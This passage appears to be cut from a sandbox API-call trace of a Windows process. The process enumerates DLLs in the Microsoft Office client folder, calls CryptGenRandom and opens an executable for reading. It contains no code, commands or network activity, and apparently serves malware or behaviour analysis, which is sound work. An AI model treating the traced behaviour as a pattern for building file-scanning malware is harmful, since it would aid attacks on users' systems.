Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll")) returned 0x420 [0134.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0134.982] GetCurrentThreadId () returned 0x9b0 [0134.983] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll")) returned 0x220 [0134.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0134.983] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll")) returned 0x220 [0134.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887968 | out: hHeap=0x2ad0000) returned 1 [0134.983] GetCurrentThreadId () returned 0x9b0 [0134.983] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll")) returned 0x220 [0134.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0134.984] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll")) returned 0x220 [0134.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887458 | out: hHeap=0x2ad0000) returned 1 [0134.985] GetCurrentThreadId () returned 0x9b0 [0134.985] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll")) returned 0x220 [0134.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0134.986] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac10c8, Size=0xb8) returned 0x325f5f0 [0134.986] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll")) returned 0x220 [0134.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0134.986] GetCurrentThreadId () returned 0x9b0 [0134.986] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll")) returned 0x220 [0134.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887380 | out: hHeap=0x2ad0000) returned 1 [0134.986] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll")) returned 0x220 [0134.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0134.987] GetCurrentThreadId () returned 0x9b0 [0134.987] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll", lpFilePart=0x9bada4*="api-ms-win-core-file-l1-2-0.dll") returned 0x4d [0134.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0134.988] GetCurrentThreadId () returned 0x9b0 [0134.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0134.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0134.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0134.988] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-core-file-l2-1-0.dll") returned 0x4d [0134.988] GetCurrentThreadId () returned 0x9b0 [0134.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0134.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0134.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0134.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0134.988] GetCurrentThreadId () returned 0x9b0 [0134.989] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll", lpFilePart=0x9bada4*="api-ms-win-core-localization-l1-2-0.dll") returned 0x55 [0134.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0134.989] GetCurrentThreadId () returned 0x9b0 [0134.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0134.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0134.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0134.989] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll", lpFilePart=0x9bada4*="api-ms-win-core-processthreads-l1-1-1.dll") returned 0x57 [0134.990] GetCurrentThreadId () returned 0x9b0 [0134.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0134.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0134.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0134.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0134.990] GetCurrentThreadId () returned 0x9b0 [0134.990] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll", lpFilePart=0x9bada4*="api-ms-win-core-synch-l1-2-0.dll") returned 0x4e [0134.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0134.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0134.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0134.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0134.990] GetCurrentThreadId () returned 0x9b0 [0134.991] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-core-timezone-l1-1-0.dll") returned 0x51 [0134.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0134.991] GetCurrentThreadId () returned 0x9b0 [0134.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0134.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0134.991] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-core-xstate-l2-1-0.dll") returned 0x4f [0134.991] GetCurrentThreadId () returned 0x9b0 [0134.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0134.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0134.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0134.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.992] GetCurrentThreadId () returned 0x9b0 [0134.992] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-conio-l1-1-0.dll") returned 0x4d [0134.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0134.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0134.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0134.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0134.992] GetCurrentThreadId () returned 0x9b0 [0134.992] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-convert-l1-1-0.dll") returned 0x4f [0134.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0134.992] GetCurrentThreadId () returned 0x9b0 [0134.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0134.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.993] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-environment-l1-1-0.dll") returned 0x53 [0134.993] GetCurrentThreadId () returned 0x9b0 [0134.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0134.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0134.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0134.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0134.993] GetCurrentThreadId () returned 0x9b0 [0134.993] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-filesystem-l1-1-0.dll") returned 0x52 [0134.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0134.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0134.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.994] GetCurrentThreadId () returned 0x9b0 [0134.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.994] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-heap-l1-1-0.dll") returned 0x4c [0134.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0134.994] GetCurrentThreadId () returned 0x9b0 [0134.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0134.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0134.994] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-locale-l1-1-0.dll") returned 0x4e [0134.995] GetCurrentThreadId () returned 0x9b0 [0134.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0134.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0134.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0134.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0134.995] GetCurrentThreadId () returned 0x9b0 [0134.995] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-math-l1-1-0.dll") returned 0x4c [0134.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0134.995] GetCurrentThreadId () returned 0x9b0 [0134.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0134.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0134.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0134.996] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-multibyte-l1-1-0.dll") returned 0x51 [0134.996] GetCurrentThreadId () returned 0x9b0 [0134.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0134.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0134.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.996] GetCurrentThreadId () returned 0x9b0 [0134.996] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-private-l1-1-0.dll") returned 0x4f [0134.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0134.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0134.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0134.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0134.997] GetCurrentThreadId () returned 0x9b0 [0134.997] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-process-l1-1-0.dll") returned 0x4f [0134.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0134.997] GetCurrentThreadId () returned 0x9b0 [0134.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0134.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.997] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-runtime-l1-1-0.dll") returned 0x4f [0134.997] GetCurrentThreadId () returned 0x9b0 [0134.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.998] GetCurrentThreadId () returned 0x9b0 [0134.998] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-stdio-l1-1-0.dll") returned 0x4d [0134.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0134.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0134.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0134.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0134.998] GetCurrentThreadId () returned 0x9b0 [0134.999] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-string-l1-1-0.dll") returned 0x4e [0134.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0134.999] GetCurrentThreadId () returned 0x9b0 [0134.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0134.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0134.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0134.999] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-time-l1-1-0.dll") returned 0x4c [0134.999] GetCurrentThreadId () returned 0x9b0 [0134.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0134.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0134.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0135.000] GetCurrentThreadId () returned 0x9b0 [0135.000] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll", lpFilePart=0x9bada4*="api-ms-win-crt-utility-l1-1-0.dll") returned 0x4f [0135.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0135.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0135.000] GetCurrentThreadId () returned 0x9b0 [0135.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0135.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0135.000] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", lpFilePart=0x9bada4*="AppVDllSurrogate32.exe") returned 0x44 [0135.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0135.000] GetCurrentThreadId () returned 0x9b0 [0135.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0135.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0135.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0135.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x30281c0 [0135.001] GetCurrentThreadId () returned 0x9b0 [0135.001] GetCurrentThreadId () returned 0x9b0 [0135.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30281c0 | out: hHeap=0x2ad0000) returned 1 [0135.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x30281c0 [0135.001] GetCurrentThreadId () returned 0x9b0 [0135.001] GetCurrentThreadId () returned 0x9b0 [0135.001] GetCurrentThreadId () returned 0x9b0 [0135.002] GetCurrentThreadId () returned 0x9b0 [0135.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a9e8 [0135.002] GetCurrentThreadId () returned 0x9b0 [0135.002] GetCurrentThreadId () returned 0x9b0 [0135.002] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b59cda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b59cda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f1370b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34ad8)) returned 1 [0135.002] GetCurrentThreadId () returned 0x9b0 [0135.002] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3657d54 | out: pbBuffer=0x3657d54) returned 1 [0135.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0135.002] GetCurrentThreadId () returned 0x9b0 [0135.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0135.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0135.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028328 [0135.003] GetCurrentThreadId () returned 0x9b0 [0135.003] GetCurrentThreadId () returned 0x9b0 [0135.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028328 [0135.003] GetCurrentThreadId () returned 0x9b0 [0135.003] GetCurrentThreadId () returned 0x9b0 [0135.003] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0135.004] GetFileType (hFile=0x39c) returned 0x1 [0135.004] GetCurrentThreadId () returned 0x9b0 [0135.004] GetFileType (hFile=0x39c) returned 0x1 [0135.004] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0135.004] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: 